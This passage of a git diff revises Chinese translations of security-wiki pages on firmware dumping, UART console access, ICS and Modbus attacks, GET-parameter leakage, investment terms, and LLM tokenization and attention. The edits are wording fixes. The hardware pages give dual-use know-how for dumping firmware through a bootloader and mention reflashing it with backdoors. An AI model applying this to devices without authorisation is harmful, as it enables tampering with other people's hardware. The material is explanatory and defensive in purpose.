+转储固件对于分析固件和发现其中的漏洞非常有用。很多时候，固件在互联网上不可用或由于型号、版本等因素的变化而无关紧要。因此，直接从物理设备提取固件在寻找威胁时可以非常有帮助。
 
-获取串行控制台可能会很有帮助，但很多时候文件是只读的。这限制了分析的进行，原因有很多。例如，发送和接收数据包所需的工具可能不在固件中。因此，提取二进制文件进行逆向工程是不可行的。因此，将整个固件转储到系统中并提取二进制文件进行分析会非常有帮助。
+获取串行控制台可能会很有帮助，但很多时候文件是只读的。这由于各种原因限制了分析。例如，发送和接收数据包所需的工具可能不在固件中。因此，提取二进制文件进行逆向工程是不可行的。因此，将整个固件转储到系统中并提取二进制文件进行分析可能非常有帮助。
 
-此外，在红队活动和获取设备的物理访问权限时，转储固件可以帮助修改文件或注入恶意文件，然后将其重新闪存到内存中，这可能有助于在设备中植入后门。因此，固件转储可以解锁许多可能性。
+此外，在红队活动和获取设备的物理访问权限时，转储固件可以帮助修改文件或注入恶意文件，然后将其重新闪存到内存中，这可能有助于在设备中植入后门。因此，通过固件转储可以解锁许多可能性。
 
 ### CH341A EEPROM编程器和读取器
 
diff --git a/src/todo/hardware-hacking/uart.md b/src/todo/hardware-hacking/uart.md
index ed27dd8bf..26ba2bff3 100644
--- a/src/todo/hardware-hacking/uart.md
+++ b/src/todo/hardware-hacking/uart.md
@@ -8,7 +8,7 @@ UART是一种串行协议，这意味着它一次传输一个比特的数据。
 
 通常，在UART处于空闲状态时，线路保持高电平（逻辑1值）。然后，为了信号数据传输的开始，发射器向接收器发送一个起始位，此时信号保持低电平（逻辑0值）。接下来，发射器发送五到八个数据位，包含实际消息，后面跟着一个可选的奇偶校验位和一个或两个停止位（逻辑1值），具体取决于配置。用于错误检查的奇偶校验位在实际中很少见。停止位（或位）表示传输结束。
 
-我们称最常见的配置为8N1：八个数据位，无奇偶校验和一个停止位。例如，如果我们想在8N1 UART配置中发送字符C，或ASCII中的0x43，我们将发送以下位：0（起始位）；0, 1, 0, 0, 0, 0, 1, 1（0x43的二进制值），和0（停止位）。
+我们称最常见的配置为8N1：八个数据位，无奇偶校验，一个停止位。例如，如果我们想在8N1 UART配置中发送字符C，或ASCII中的0x43，我们将发送以下位：0（起始位）；0, 1, 0, 0, 0, 0, 1, 1（0x43的二进制值），和0（停止位）。
 
 ![](<../../images/image (764).png>)
 
@@ -20,25 +20,25 @@ UART是一种串行协议，这意味着它一次传输一个比特的数据。
 
 ### 识别UART端口
 
-UART有4个端口：**TX**（发送）、**RX**（接收）、**Vcc**（电压）和**GND**（接地）。您可能会在PCB上找到带有**`TX`**和**`RX`**字母的4个端口。但如果没有指示，您可能需要使用**万用表**或**逻辑分析仪**自己寻找它们。
+UART有4个端口：**TX**（发送）、**RX**（接收）、**Vcc**（电压）和**GND**（接地）。你可能会在PCB上找到带有**`TX`**和**`RX`**字母的4个端口。但如果没有指示，你可能需要使用**万用表**或**逻辑分析仪**自己寻找它们。
 
 使用**万用表**并关闭设备电源：
 
-- 要识别**GND**引脚，请使用**连续性测试**模式，将黑色引线放入接地，并用红色引线测试，直到您听到万用表发出声音。PCB上可能会找到多个GND引脚，因此您可能找到或未找到属于UART的引脚。
-- 要识别**VCC端口**，请设置**直流电压模式**并将其设置为20 V电压。黑色探头接地，红色探头接引脚。打开设备电源。如果万用表测量到恒定电压为3.3 V或5 V，则您找到了Vcc引脚。如果您得到其他电压，请尝试其他端口。
-- 要识别**TX** **端口**，将**直流电压模式**设置为20 V电压，黑色探头接地，红色探头接引脚，并打开设备电源。如果您发现电压波动几秒钟后稳定在Vcc值，则您很可能找到了TX端口。这是因为在开机时，它会发送一些调试数据。
-- **RX端口**将是与其他3个端口最接近的，它的电压波动最低，所有UART引脚中整体值最低。
+- 要识别**GND**引脚，使用**连续性测试**模式，将黑色引线放入接地，使用红色引线测试，直到你听到万用表发出声音。PCB上可能会找到多个GND引脚，因此你可能找到或没有找到属于UART的引脚。
+- 要识别**VCC端口**，设置**直流电压模式**并将其设置为20 V电压。黑色探头接地，红色探头接引脚。打开设备电源。如果万用表测量到恒定电压为3.3 V或5 V，你就找到了Vcc引脚。如果得到其他电压，请尝试其他端口。
+- 要识别**TX** **端口**，将**直流电压模式**设置为20 V电压，黑色探头接地，红色探头接引脚，打开设备电源。如果你发现电压波动几秒钟后稳定在Vcc值，你很可能找到了TX端口。这是因为在开机时，它会发送一些调试数据。
+- **RX端口**是与其他3个端口最接近的，它的电压波动最低，所有UART引脚中整体值最低。
 
-您可以混淆TX和RX端口，没什么问题，但如果混淆GND和VCC端口，可能会烧毁电路。
+你可以混淆TX和RX端口，没什么问题，但如果混淆GND和VCC端口，你可能会烧毁电路。
 
-在某些目标设备中，制造商通过禁用RX或TX甚至两者来禁用UART端口。在这种情况下，追踪电路板中的连接并找到一些断点可能会有所帮助。确认没有检测到UART和电路断开的一个强烈提示是检查设备保修。如果设备附带某些保修，制造商会留下某些调试接口（在这种情况下为UART），因此，必须已断开UART并在调试时重新连接。这些断点引脚可以通过焊接或跳线连接。
+在某些目标设备中，制造商通过禁用RX或TX甚至两者来禁用UART端口。在这种情况下，追踪电路板中的连接并找到一些断点可能会有所帮助。确认没有检测到UART和电路断开的一个强烈提示是检查设备保修。如果设备附带某些保修，制造商会留下某些调试接口（在这种情况下是UART），因此，必须断开UART并在调试时重新连接。这些断点引脚可以通过焊接或跳线连接。
 
 ### 识别UART波特率
 
-识别正确波特率的最简单方法是查看**TX引脚的输出并尝试读取数据**。如果您收到的数据不可读，请切换到下一个可能的波特率，直到数据变得可读。您可以使用USB转串行适配器或像Bus Pirate这样的多功能设备来做到这一点，并配合一个辅助脚本，例如[baudrate.py](https://github.com/devttys0/baudrate/)。最常见的波特率为9600、38400、19200、57600和115200。
+识别正确波特率的最简单方法是查看**TX引脚的输出并尝试读取数据**。如果接收到的数据不可读，请切换到下一个可能的波特率，直到数据变得可读。你可以使用USB转串行适配器或像Bus Pirate这样的多功能设备来做到这一点，并配合一个辅助脚本，如[baudrate.py](https://github.com/devttys0/baudrate/)。最常见的波特率为9600、38400、19200、57600和115200。
 
 > [!CAUTION]
-> 重要的是要注意，在此协议中，您需要将一个设备的TX连接到另一个设备的RX！
+> 重要的是要注意，在此协议中，你需要将一个设备的TX连接到另一个设备的RX！
 
 ## CP210X UART到TTY适配器
 
@@ -62,9 +62,9 @@ minicom -s
 
 配置完成后，使用命令 `minicom` 启动以获取 UART 控制台。
 
-## 通过 Arduino UNO R3 的 UART（可拆卸的 Atmel 328p 芯片板）
+## 通过 Arduino UNO R3 的 UART (可拆卸的 Atmel 328p 芯片板)
 
-如果没有 UART 串行到 USB 适配器，可以使用 Arduino UNO R3 进行快速破解。由于 Arduino UNO R3 通常随处可用，这可以节省很多时间。
+如果没有可用的 UART 串行到 USB 适配器，可以使用 Arduino UNO R3 进行快速破解。由于 Arduino UNO R3 通常随处可用，这可以节省很多时间。
 
 Arduino UNO R3 板上内置了 USB 到串行适配器。要获取 UART 连接，只需将 Atmel 328p 微控制器芯片从板上拔出。此破解适用于 Atmel 328p 未焊接在板上的 Arduino UNO R3 变体（使用的是 SMD 版本）。将 Arduino 的 RX 引脚（数字引脚 0）连接到 UART 接口的 TX 引脚，将 Arduino 的 TX 引脚（数字引脚 1）连接到 UART 接口的 RX 引脚。
 
@@ -152,7 +152,7 @@ UART 控制台提供了一种在运行时环境中处理底层固件的好方法
 
 从 UART 控制台转储固件需要首先获取对引导加载程序的访问权限。许多流行的供应商使用 uboot（通用引导加载程序）作为其引导加载程序来加载 Linux。因此，获取对 uboot 的访问权限是必要的。
 
-要访问引导加载程序，请将 UART 端口连接到计算机，并使用任何串行控制台工具，同时保持设备的电源断开。一旦设置完成，按下 Enter 键并保持不放。最后，连接设备的电源并让其启动。
+要访问引导加载程序，请将 UART 端口连接到计算机，并使用任何串行控制台工具，并保持设备的电源断开。一旦设置完成，按下 Enter 键并保持不放。最后，连接设备的电源并让其启动。
 
 这样做会中断 uboot 的加载并提供一个菜单。建议了解 uboot 命令并使用帮助菜单列出它们。这可能是 `help` 命令。由于不同的供应商使用不同的配置，因此有必要分别理解每个配置。
 
@@ -168,6 +168,6 @@ binwalk -e <filename.rom>
 ```
 这将根据在十六进制文件中找到的签名列出 EEPROM 的可能内容。
 
-不过，需要注意的是，即使正在使用 uboot，它并不总是解锁的。如果 Enter 键没有任何反应，请检查其他键，如空格键等。如果引导加载程序被锁定且没有被中断，则此方法将无效。要检查 uboot 是否是设备的引导加载程序，请在设备启动时检查 UART 控制台上的输出。它可能在启动时提到 uboot。
+尽管需要注意的是，即使正在使用 uboot，它并不总是解锁的。如果 Enter 键没有任何反应，请检查其他键，如空格键等。如果引导加载程序被锁定且没有被中断，则此方法将不起作用。要检查 uboot 是否是设备的引导加载程序，请在设备启动时检查 UART 控制台上的输出。它可能会在启动时提到 uboot。
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/industrial-control-systems-hacking/README.md b/src/todo/industrial-control-systems-hacking/README.md
index bf96a60dc..1b98b3926 100644
--- a/src/todo/industrial-control-systems-hacking/README.md
+++ b/src/todo/industrial-control-systems-hacking/README.md
@@ -6,10 +6,10 @@
 
 工业控制系统无处不在，因为工业对国家的经济发展至关重要。但这些ICS难以更新，且在该领域的进展较少。因此，发现安全漏洞在这里很常见。这里使用的大多数协议和标准是在90年代开发的，与当前的攻击场景相比，能力较弱。
 
-保护这些系统变得重要，因为破坏它们可能会造成巨大的经济损失，甚至在最坏的情况下危及生命。要理解工业控制系统的安全性，了解它们的内部结构是必要的。
+保护这些系统变得重要，因为破坏它们可能会造成巨大的经济损失，甚至在最坏的情况下危及生命。要理解工业控制系统的安全性，了解其内部结构是必要的。
 
 由于工业控制系统是按照设定标准安装的，了解每个组件将有助于将控制系统中的其他机制互联。像PLC和SCADA系统这样的设备在各个行业的安装方式不同，因此信息收集至关重要。
 
 工业控制系统有时可能会很复杂，因此在进行任何操作时需要大量的耐心。在计划攻击和开发任何漏洞之前，所有的工作都是关于探测和侦察。
 
-这些技术也可以用于保护工业控制系统免受攻击和蓝队防御。
+这些技术也可以用于保护工业控制系统免受攻击以及进行蓝队防御。
diff --git a/src/todo/industrial-control-systems-hacking/modbus.md b/src/todo/industrial-control-systems-hacking/modbus.md
index 7c8c350a5..24f4490f1 100644
--- a/src/todo/industrial-control-systems-hacking/modbus.md
+++ b/src/todo/industrial-control-systems-hacking/modbus.md
@@ -16,7 +16,7 @@ Modbus协议设计用于串行通信和以太网通信。串行通信在遗留
 
 ## 数据表示
 
-数据在Modbus协议中以ASCII或二进制形式传输，尽管由于与旧设备的兼容性，通常使用二进制格式。
+在Modbus协议中，数据以ASCII或二进制形式传输，尽管由于与旧设备的兼容性，通常使用二进制格式。
 
 ## 功能代码
 
@@ -28,4 +28,4 @@ ModBus协议通过传输特定的功能代码来操作PLC和各种控制设备
 
 此外，Modbus还实现了错误检查，以确保传输数据的完整性。但最重要的是，Modbus是开放标准，任何人都可以在其设备中实现。这使得该协议成为全球标准，并在工业自动化行业中广泛应用。
 
-由于其大规模使用和缺乏升级，攻击Modbus提供了显著的优势，具有广泛的攻击面。ICS高度依赖设备之间的通信，任何对它们的攻击都可能对工业系统的操作造成危险。如果攻击者识别出传输媒介，可以进行重放、数据注入、数据嗅探和泄露、拒绝服务、数据伪造等攻击。
+由于其大规模使用和缺乏升级，攻击Modbus提供了显著的优势，具有广泛的攻击面。ICS高度依赖设备之间的通信，任何对它们的攻击都可能对工业系统的操作造成危险。如果攻击者识别了传输媒介，可以进行重放、数据注入、数据嗅探和泄露、拒绝服务、数据伪造等攻击。
diff --git a/src/todo/interesting-http.md b/src/todo/interesting-http.md
index 58adf5b87..7793182b1 100644
--- a/src/todo/interesting-http.md
+++ b/src/todo/interesting-http.md
@@ -6,7 +6,7 @@
 
 ## 敏感信息泄露
 
-如果在网页的某个时刻，任何敏感信息位于GET请求参数中，如果页面包含指向外部源的链接，或者攻击者能够使/建议（社会工程学）用户访问由攻击者控制的URL。它可能能够提取最新GET请求中的敏感信息。
+如果在网页的某个地方，任何敏感信息位于GET请求参数中，如果页面包含指向外部源的链接，或者攻击者能够使/建议（社会工程学）用户访问由攻击者控制的URL。它可能能够提取最新GET请求中的敏感信息。
 
 ## 缓解措施
 
diff --git a/src/todo/investment-terms.md b/src/todo/investment-terms.md
index 090bfdfaf..76fd3b1b8 100644
--- a/src/todo/investment-terms.md
+++ b/src/todo/investment-terms.md
@@ -12,7 +12,7 @@
 
 期货是一种合同，其中两方达成协议**在未来以固定价格获取某物**。例如，在6个月内以70,000美元出售1个比特币。
 
-显然，如果到6个月时比特币的价值为80,000美元，卖方将亏损，而买方将获利。如果在6个月时比特币的价值为60,000美元，则情况正好相反。
+显然，如果到6个月时比特币的价值为80,000美元，卖方将亏损，而买方将获利。如果到6个月时比特币的价值为60,000美元，则情况正好相反。
 
 然而，这对于例如正在生产产品并需要确保能够以支付成本的价格出售的企业来说是有趣的。或者希望确保未来某物的固定价格的企业，即使价格更高。
 
@@ -25,7 +25,7 @@
 
 如果基金经理担心某些股票会下跌，他可能会对一些资产（如比特币或标准普尔500期货合约）采取空头头寸。这类似于购买或持有一些资产并创建一个在未来以更高价格出售这些资产的合同。
 
-如果价格下跌，基金经理将获利，因为他将以更高的价格出售资产。如果资产价格上涨，经理将无法获得该收益，但他仍将保留他的资产。
+如果价格下跌，基金经理将获利，因为他将以更高的价格出售资产。如果资产的价格上涨，经理将无法获得该收益，但他仍将保留他的资产。
 
 ### 永续期货
 
@@ -65,4 +65,4 @@
 ### 4. **利润潜力：**
 
 * **期货：** 利润或损失基于到期时市场价格与合同中约定价格之间的差额。
-* **期权：** 当市场在超过支付的权利金的行使价格的方向上有利移动时，买方获利。如果期权未被行使，卖方通过保留权利金获利。
+* **期权：** 当市场在超过支付的权利金的行使价格的有利方向移动时，买方获利。如果期权未被行使，卖方通过保留权利金获利。
diff --git a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md
index 0f8a860b3..232d22d1b 100644
--- a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md
+++ b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md
@@ -2,7 +2,7 @@
 
 ## 预训练
 
-预训练是开发大型语言模型（LLM）的基础阶段，在此阶段，模型接触到大量多样的文本数据。在此阶段，**LLM 学习语言的基本结构、模式和细微差别**，包括语法、词汇、句法和上下文关系。通过处理这些广泛的数据，模型获得了对语言和一般世界知识的广泛理解。这一全面的基础使 LLM 能够生成连贯且上下文相关的文本。随后，这个预训练模型可以进行微调，进一步在专业数据集上进行训练，以适应其在特定任务或领域的能力，从而提高其在目标应用中的性能和相关性。
+预训练是开发大型语言模型（LLM）的基础阶段，在此阶段，模型接触到大量多样的文本数据。在此阶段，**LLM 学习语言的基本结构、模式和细微差别**，包括语法、词汇、句法和上下文关系。通过处理这些广泛的数据，模型获得了对语言和一般世界知识的广泛理解。这一全面的基础使 LLM 能够生成连贯且上下文相关的文本。随后，这个预训练的模型可以进行微调，进一步在专业数据集上进行训练，以适应其在特定任务或领域的能力，从而提高其在目标应用中的性能和相关性。
 
 ## 主要 LLM 组件
 
@@ -10,11 +10,11 @@
 
 - **参数**：参数是神经网络中的**可学习权重和偏差**。这些是训练过程调整以最小化损失函数并提高模型在任务上表现的数字。LLM 通常使用数百万个参数。
 - **上下文长度**：这是用于预训练 LLM 的每个句子的最大长度。
-- **嵌入维度**：用于表示每个标记或单词的向量大小。LLM 通常使用数十亿的维度。
+- **嵌入维度**：用于表示每个标记或单词的向量大小。LLM 通常使用数十亿个维度。
 - **隐藏维度**：神经网络中隐藏层的大小。
 - **层数（深度）**：模型的层数。LLM 通常使用数十层。
 - **注意力头数**：在变换器模型中，这是每层中使用的独立注意力机制的数量。LLM 通常使用数十个头。
-- **丢弃率**：丢弃率类似于在训练过程中移除的数据百分比（概率变为 0），用于**防止过拟合。** LLM 通常使用 0-20% 之间的值。
+- **丢弃率**：丢弃率类似于在训练过程中移除的数据百分比（概率变为 0），用于**防止过拟合**。LLM 通常使用 0-20% 之间的值。
 
 GPT-2 模型的配置：
 ```json
@@ -45,7 +45,7 @@ GPT_CONFIG_124M = {
 
 ### PyTorch Tensors vs. NumPy Arrays
 
-虽然 PyTorch 张量在存储和操作数值数据的能力上与 NumPy 数组相似，但它们提供了深度学习所需的额外功能：
+虽然 PyTorch 张量在存储和操作数值数据的能力上与 NumPy 数组相似，但它们提供了对深度学习至关重要的额外功能：
 
 - **Automatic Differentiation**: PyTorch 张量支持自动计算梯度（autograd），简化了训练神经网络所需的导数计算过程。
 - **GPU Acceleration**: PyTorch 中的张量可以移动到 GPU 上进行计算，显著加快大规模计算的速度。
@@ -103,7 +103,7 @@ print(tensor2d.shape)  # 输出: torch.Size([2, 2])
 reshaped = tensor2d.reshape(4, 1)
 ```
 
-- **转置张量**：使用 `.T` 转置 2D 张量。
+- **转置张量**：使用 `.T` 转置一个 2D 张量。
 
 ```python
 transposed = tensor2d.T
@@ -121,11 +121,11 @@ result = tensor2d @ tensor2d.T
 
 - 它们存储输入数据、权重和偏差。
 - 它们促进训练算法中前向和后向传播所需的操作。
-- 通过 autograd，张量使得梯度的自动计算成为可能，从而简化优化过程。
+- 通过 autograd，张量能够自动计算梯度，从而简化优化过程。
 
 ## 自动微分
 
-自动微分（AD）是一种计算技术，用于高效且准确地 **评估函数的导数（梯度）**。在神经网络的上下文中，AD 使得计算 **优化算法如梯度下降** 所需的梯度成为可能。PyTorch 提供了一个名为 **autograd** 的自动微分引擎，简化了这个过程。
+自动微分（AD）是一种计算技术，用于高效且准确地 **评估函数的导数（梯度）**。在神经网络的上下文中，AD 使得计算 **像梯度下降这样的优化算法所需的梯度** 成为可能。PyTorch 提供了一个名为 **autograd** 的自动微分引擎，简化了这个过程。
 
 ### 自动微分的数学解释
 
diff --git a/src/todo/llm-training-data-preparation/1.-tokenizing.md b/src/todo/llm-training-data-preparation/1.-tokenizing.md
index c4940bc8e..33262d762 100644
--- a/src/todo/llm-training-data-preparation/1.-tokenizing.md
+++ b/src/todo/llm-training-data-preparation/1.-tokenizing.md
@@ -2,15 +2,15 @@
 
 ## 分词
 
-**分词**是将数据（如文本）拆分成更小、可管理的部分，称为_标记_的过程。每个标记都被分配一个唯一的数字标识符（ID）。这是为机器学习模型处理文本做准备的基本步骤，特别是在自然语言处理（NLP）中。
+**分词**是将数据（如文本）分解为更小、可管理的部分，称为_标记_的过程。每个标记都被分配一个唯一的数字标识符（ID）。这是为机器学习模型处理文本做准备的基本步骤，特别是在自然语言处理（NLP）中。
 
 > [!TIP]
-> 这个初始阶段的目标非常简单：**以某种合理的方式将输入分成标记（ID）**。
+> 这个初始阶段的目标非常简单：**以某种有意义的方式将输入分成标记（ID）**。
 
 ### **分词的工作原理**
 
 1. **拆分文本：**
-- **基本分词器：** 一个简单的分词器可能将文本拆分为单个单词和标点符号，去除空格。
+- **基本分词器：** 一个简单的分词器可能会将文本拆分为单个单词和标点符号，去除空格。
 - _示例:_\
 文本：`"Hello, world!"`\
 标记：`["Hello", ",", "world", "!"]`
@@ -31,7 +31,7 @@
 
 ### **高级分词方法**
 
-虽然基本分词器适用于简单文本，但在处理大词汇表和新或稀有单词时存在局限性。高级分词方法通过将文本拆分为更小的子单元或优化分词过程来解决这些问题。
+虽然基本分词器适用于简单文本，但在处理大型词汇表和新或稀有单词时存在局限性。高级分词方法通过将文本拆分为更小的子单元或优化分词过程来解决这些问题。
 
 1. **字节对编码（BPE）：**
 - **目的：** 通过将稀有或未知单词拆分为频繁出现的字节对，减少词汇表的大小并处理稀有或未知单词。
@@ -49,7 +49,7 @@
 - **目的：** 类似于BPE，它将单词拆分为子词单元，以处理未知单词并减少词汇表大小。
 - **工作原理：**
 - 从单个字符的基本词汇表开始。
-- 迭代地添加最频繁的子词，以最大化训练数据的可能性。
+- 迭代地添加最大化训练数据可能性的最频繁子词。
 - 使用概率模型决定合并哪些子词。
 - **好处：**
 - 在拥有可管理的词汇表大小和有效表示单词之间取得平衡。
@@ -61,11 +61,11 @@
 - **目的：** 使用概率模型确定最可能的子词标记集。
 - **工作原理：**
 - 从一组潜在标记开始。
-- 迭代地移除那些对模型的训练数据概率改善最小的标记。
+- 迭代地删除对模型的训练数据概率改善最小的标记。
 - 最终确定一个词汇表，其中每个单词由最可能的子词单元表示。
 - **好处：**
 - 灵活，可以更自然地建模语言。
-- 通常会导致更高效和紧凑的标记化。
+- 通常导致更高效和紧凑的标记化。
 - _示例:_\
 `"internationalization"`可能被标记为更小的、有意义的子词，如`["international", "ization"]`。
 
diff --git a/src/todo/llm-training-data-preparation/3.-token-embeddings.md b/src/todo/llm-training-data-preparation/3.-token-embeddings.md
index 7518b8850..c06865b4a 100644
--- a/src/todo/llm-training-data-preparation/3.-token-embeddings.md
+++ b/src/todo/llm-training-data-preparation/3.-token-embeddings.md
@@ -24,7 +24,7 @@
 
 ### **Initializing Token Embeddings**
 
-在训练开始时，token embeddings 通常用小的随机值初始化。这些初始值在训练过程中进行调整（微调），以更好地表示基于训练数据的标记含义。
+在训练开始时，token embeddings 通常用小的随机值初始化。这些初始值在训练过程中进行调整（微调），以更好地表示标记的含义，基于训练数据。
 
 **PyTorch Example:**
 ```python
@@ -72,7 +72,7 @@ tensor([[-0.4015,  0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
 
 ### **标记嵌入在训练中的工作原理**
 
-在训练过程中，输入数据中的每个标记都被转换为其对应的嵌入向量。这些向量随后用于模型内的各种计算，例如注意力机制和神经网络层。
+在训练过程中，输入数据中的每个标记都被转换为其对应的嵌入向量。这些向量随后在模型内的各种计算中使用，例如注意力机制和神经网络层。
 
 **示例场景：**
 
@@ -118,37 +118,37 @@ cssCopy codeBatch
 ```
 **解释：**
 
-- 序列中的每个标记由一个256维的向量表示。
+- 序列中的每个令牌由一个256维的向量表示。
 - 模型处理这些嵌入以学习语言模式并生成预测。
 
-## **位置嵌入：为标记嵌入添加上下文**
+## **位置嵌入：为令牌嵌入添加上下文**
 
-虽然标记嵌入捕捉了单个标记的含义，但它们并不固有地编码标记在序列中的位置。理解标记的顺序对于语言理解至关重要。这就是**位置嵌入**发挥作用的地方。
+虽然令牌嵌入捕捉了单个令牌的含义，但它们并不固有地编码令牌在序列中的位置。理解令牌的顺序对于语言理解至关重要。这就是**位置嵌入**发挥作用的地方。
 
 ### **为什么需要位置嵌入：**
 
-- **标记顺序很重要：** 在句子中，意义往往依赖于单词的顺序。例如，“猫坐在垫子上”与“垫子坐在猫上”。
-- **嵌入限制：** 如果没有位置信息，模型将标记视为“词袋”，忽略它们的顺序。
+- **令牌顺序很重要：** 在句子中，意义往往依赖于单词的顺序。例如，“猫坐在垫子上”与“垫子坐在猫上”。
+- **嵌入限制：** 如果没有位置信息，模型将令牌视为“词袋”，忽略它们的顺序。
 
 ### **位置嵌入的类型：**
 
 1. **绝对位置嵌入：**
 - 为序列中的每个位置分配一个唯一的位置向量。
-- **示例：** 任何序列中的第一个标记具有相同的位置嵌入，第二个标记具有另一个，以此类推。
+- **示例：** 任何序列中的第一个令牌具有相同的位置嵌入，第二个令牌具有另一个，以此类推。
 - **使用者：** OpenAI的GPT模型。
 2. **相对位置嵌入：**
-- 编码标记之间的相对距离，而不是它们的绝对位置。
-- **示例：** 指示两个标记之间的距离，无论它们在序列中的绝对位置如何。
+- 编码令牌之间的相对距离，而不是它们的绝对位置。
+- **示例：** 指示两个令牌之间的距离，无论它们在序列中的绝对位置如何。
 - **使用者：** 像Transformer-XL和一些BERT变体的模型。
 
-### **位置嵌入的集成方式：**
+### **位置嵌入是如何集成的：**
 
-- **相同维度：** 位置嵌入与标记嵌入具有相同的维度。
-- **相加：** 它们被添加到标记嵌入中，将标记身份与位置信息结合，而不增加整体维度。
+- **相同维度：** 位置嵌入与令牌嵌入具有相同的维度。
+- **相加：** 它们被添加到令牌嵌入中，将令牌身份与位置信息结合，而不增加整体维度。
 
-**位置嵌入相加的示例：**
+**添加位置嵌入的示例：**
 
-假设一个标记嵌入向量是`[0.5, -0.2, 0.1]`，其位置嵌入向量是`[0.1, 0.3, -0.1]`。模型使用的组合嵌入将是：
+假设一个令牌嵌入向量是`[0.5, -0.2, 0.1]`，其位置嵌入向量是`[0.1, 0.3, -0.1]`。模型使用的组合嵌入将是：
 ```css
 Combined Embedding = Token Embedding + Positional Embedding
 = [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
diff --git a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md
index 8b6940d94..731832280 100644
--- a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md
+++ b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md
@@ -2,7 +2,7 @@
 
 ## 神经网络中的注意机制和自注意力
 
-注意机制允许神经网络在生成输出的每个部分时**专注于输入的特定部分**。它们为不同的输入分配不同的权重，帮助模型决定哪些输入与当前任务最相关。这在机器翻译等任务中至关重要，因为理解整个句子的上下文对于准确翻译是必要的。
+注意机制允许神经网络在生成输出的每个部分时**关注输入的特定部分**。它们为不同的输入分配不同的权重，帮助模型决定哪些输入与当前任务最相关。这在机器翻译等任务中至关重要，因为理解整个句子的上下文对于准确翻译是必要的。
 
 > [!TIP]
 > 这个第四阶段的目标非常简单：**应用一些注意机制**。这些将是许多**重复的层**，将**捕捉词汇中一个词与当前用于训练LLM的句子中其邻居的关系**。\
@@ -10,15 +10,15 @@
 
 ### 理解注意机制
 
-在用于语言翻译的传统序列到序列模型中，模型将输入序列编码为固定大小的上下文向量。然而，这种方法在处理长句子时会遇到困难，因为固定大小的上下文向量可能无法捕捉所有必要的信息。注意机制通过允许模型在生成每个输出标记时考虑所有输入标记来解决这一限制。
+在传统的序列到序列模型中，模型将输入序列编码为固定大小的上下文向量。然而，这种方法在处理长句子时会遇到困难，因为固定大小的上下文向量可能无法捕捉所有必要的信息。注意机制通过允许模型在生成每个输出标记时考虑所有输入标记来解决这一限制。
 
 #### 示例：机器翻译
 
-考虑将德语句子 "Kannst du mir helfen diesen Satz zu übersetzen" 翻译成英语。逐字翻译不会产生语法正确的英语句子，因为不同语言之间的语法结构存在差异。注意机制使模型能够在生成输出句子的每个单词时专注于输入句子的相关部分，从而导致更准确和连贯的翻译。
+考虑将德语句子 "Kannst du mir helfen diesen Satz zu übersetzen" 翻译成英语。逐字翻译不会产生语法正确的英语句子，因为不同语言之间的语法结构存在差异。注意机制使模型能够在生成输出句子的每个单词时关注输入句子的相关部分，从而实现更准确和连贯的翻译。
 
 ### 自注意力介绍
 
-自注意力，或称为内部注意力，是一种机制，其中注意力在单个序列内应用，以计算该序列的表示。它允许序列中的每个标记关注所有其他标记，帮助模型捕捉标记之间的依赖关系，而不管它们在序列中的距离。
+自注意力或内部注意力是一种机制，其中注意力在单个序列内应用，以计算该序列的表示。它允许序列中的每个标记关注所有其他标记，帮助模型捕捉标记之间的依赖关系，而不管它们在序列中的距离。
 
 #### 关键概念
 
@@ -60,7 +60,7 @@
 > [!TIP]
 > 不要迷失在数学术语中，这个函数的目标很简单，归一化所有权重，使**它们的总和为1**。
 >
-> 此外，**softmax** 函数被使用，因为它通过指数部分强调差异，使得更容易检测有用的值。
+> 此外，**softmax** 函数被使用，因为它由于指数部分而强调差异，使得更容易检测有用的值。
 
 应用**softmax函数**将注意分数转换为总和为1的注意权重。
 
@@ -170,13 +170,13 @@ values = torch.matmul(inputs, W_value)
 > [!TIP]
 > 分数除以维度的平方根是因为点积可能变得非常大，这有助于调节它们。
 
-**应用Softmax以获得注意力权重：** 与最初的示例一样，规范化所有值，使它们的总和为1。&#x20;
+**应用Softmax以获得注意力权重：** 与初始示例一样，规范化所有值，使它们的总和为1。&#x20;
 
 <figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
 
 #### 第3步：计算上下文向量
 
-与最初的示例一样，只需将所有值矩阵相加，每个值乘以其注意力权重：
+与初始示例一样，只需将所有值矩阵相加，每个值乘以其注意力权重：
 
 <figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
 
@@ -222,35 +222,35 @@ sa_v2 = SelfAttention_v2(d_in, d_out)
 print(sa_v2(inputs))
 ```
 > [!NOTE]
-> 请注意，`nn.Linear` 用于将所有权重标记为训练参数，而不是用随机值初始化矩阵。
+> 请注意，`nn.Linear`用于将所有权重标记为可训练参数，而不是用随机值初始化矩阵。
 
 ## 因果注意力：隐藏未来词汇
 
-对于 LLM，我们希望模型仅考虑当前位之前出现的标记，以便 **预测下一个标记**。**因果注意力**，也称为 **掩蔽注意力**，通过修改注意力机制来防止访问未来标记，从而实现这一点。
+对于LLM，我们希望模型仅考虑当前位置信息之前出现的标记，以便**预测下一个标记**。**因果注意力**，也称为**掩蔽注意力**，通过修改注意力机制来防止访问未来标记，从而实现这一点。
 
-### 应用因果注意力掩码
+### 应用因果注意力掩蔽
 
-为了实现因果注意力，我们在 **softmax 操作之前** 对注意力分数应用掩码，以便剩余的分数仍然相加为 1。该掩码将未来标记的注意力分数设置为负无穷，确保在 softmax 之后，它们的注意力权重为零。
+为了实现因果注意力，我们在**softmax操作之前**对注意力分数应用掩蔽，以便剩余的分数仍然相加为1。该掩蔽将未来标记的注意力分数设置为负无穷，确保在softmax之后，它们的注意力权重为零。
 
 **步骤**
 
 1. **计算注意力分数**：与之前相同。
-2. **应用掩码**：使用一个上三角矩阵，在对角线以上填充负无穷。
+2. **应用掩蔽**：使用一个上三角矩阵，在对角线以上填充负无穷。
 
 ```python
 mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
 masked_scores = attention_scores + mask
 ```
 
